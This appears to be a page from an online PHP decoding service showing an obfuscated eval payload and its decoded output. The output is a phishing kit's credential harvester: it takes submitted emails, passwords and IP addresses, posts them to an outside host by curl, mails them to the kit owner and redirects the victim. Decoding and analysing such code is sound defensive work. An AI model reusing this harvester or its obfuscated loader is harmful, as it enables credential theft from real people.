Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev('=Q..

Decoded Output download

?>b'<?php
$user = $_POST[\'user\'];
$pass = $_POST[\'pass\'];
$ip = $_SERVER[\'REMOTE_ADDR\'];

include "email.php";
include "gcode/geolocation.php";

$subjek = "Result | Punya si $user";
$pesan = <<<EOD
<!DOCTYPE html>
	<html>
	<head>
		<title></title>
		<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
		<style type="text/css">
			body {
				font-family: "Helvetica";
				width: 90%;
				display: block;
				margin: auto;
				border: 1px solid #fff;
				background: #fff;
			}

			.result {
				width: 100%;
				height: 100%;
				display: block;
				margin: auto;
				position: fixed;
				top: 0;
				right: 0;
				left: 0;
				bottom: 0;
				z-index: 999;
				overflow-y: scroll;
				border-radius: 10px;
			}

			.tblResult {
				width: 100%;
				display: table;
				margin: 0px auto;
				border-collapse: collapse;
				text-align: center;
				background: #fcfcfc;
			}
			.tblResult th {
				text-align: left;
				font-size: 1em;
				margin: auto;
				padding: 15px 10px;
				background: #001240;
				border: 2px solid #001240;
				color: #fff;
			}

			.tblResult td {
				font-size: 1em;
				margin: auto;
				padding: 10px;
				border: 2px solid #001240;
				text-align: left;
				font-weight: bold;
				color: #000;
				text-shadow: 0px 0px 10px #fcfcfc;

			}

			.tblResult th img {
				width: 100%;
				display: block;
				margin: auto;
				box-shadow: 0px 0px 10px rgba(0,0,0, 0.5);
				border-radius: 10px;
			}
		</style>
	</head>
	<body>
		<div class="result">
		<div style="background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab); width: 294; color: #fff; text-align: center; padding: 10px;">Info Login</div>
			<table class="tblResult">
<tr>
					<th style="text-align: center;" colspan="3"></th>
				</tr>
				<tr>
					<td style="border-right: none;">Email</td>
					<td style="text-align: center;">$user</td>
				</tr>
                <tr>
					<td style="border-right: none;">Password</td>
					<td style="text-align: center;">$pass</td>
				</tr>
			    <tr>
			        <td style="border-right: none;">IP Address</td>
					<td style="text-align: center;">$ip</td>
				</tr>			
				<tr>
					<th style="text-align: center;" colspan="3">CAHYO SR II</th>
				</tr>
			</table>
		</div>
	</body>
	</html> 
EOD;
$headersx  = \'MIME-Version: 1.0\' . "
";
$headersx .= \'Content-type: text/html; charset=iso-8859-1\' . "
";
$headersx .=  \'\'.$sender.\'\' . "
";

$url = "https://my.tokohatsuhost.com/nanya.php";
$data = "subjek=".$subjek."&pesan=".$pesan;
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $url);
curl_setopt($ch2, CURLOPT_POST, 1);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch2, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_FOLLOWLOCATION, 0);
curl_exec($ch2);
curl_close($ch2);

$gcodeSend = mail($emailku, $subjek, $pesan, $headersx);
?>
<script LANGUAGE="JavaScript">
window.location="processing.php";
</script>

?>'

Did this file decode correctly?

Original Code

eval("?>".gzuncompress(gzuncompress(gzinflate(gzinflate(gzinflate(base64_decode(strrev('=QKXNwoCqFowB8/szrJNPTNYzMMVL6D06hrAqkEWv3RB4gVk4KQ3bhqRH9IfvseH7/td/8+17WvClYI9GY16eevry0C8UbiBcUMl4lzurD33gJeDUHyBSgw84cmgIUp0CBOJVWOGas0pW1FcvFX3Xcw9/dw9ofTfbe7cWXq78/h+tNKro93ORve3H+oXc83HQr/u51YSByxvf75uSTb+oueTNXjdSrxRTF+bMy9HYHX80VnCQrTiXAYGY+vuHElJtqMcGgeIhfwKAx8SNRBM+Hbz8Te5OabsSi9JQDzT26rCGDkxjEFEnoiQHyZlISk7lwhHIG9ukpUlKEfNKDWmmKarOZKFwTqvOrW1F02f3IWd2uvfCPpDqK5pQQI30Yc8T1mCmZbJjJy9AVX0VF7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xJ+Mwiu4t+N7gXe1+vYH8q93Qq+9Ry4/3IELGWW0cPFUKlwiEWT9Z7pleq/pBMmZ//opjip5yf39GZC/0OHvaR2rXtqJdwwTClmS82l8233vHSRwSes1IWSIsMvl207BkMSshlcnkhJhYayJ5Yg5ckczN6/QOzc6PE4o9ctZVlci3+xQgzBwJe7bCBZHw+hQg3BsPHEMeA'))))))));

Function Calls

strrev 1
gzinflate 3
gzuncompress 2
base64_decode 1

Variables

None

Stats

MD5 1938c3798680f57be75cef5b27286524
Eval Count 1
Decode Time 41 ms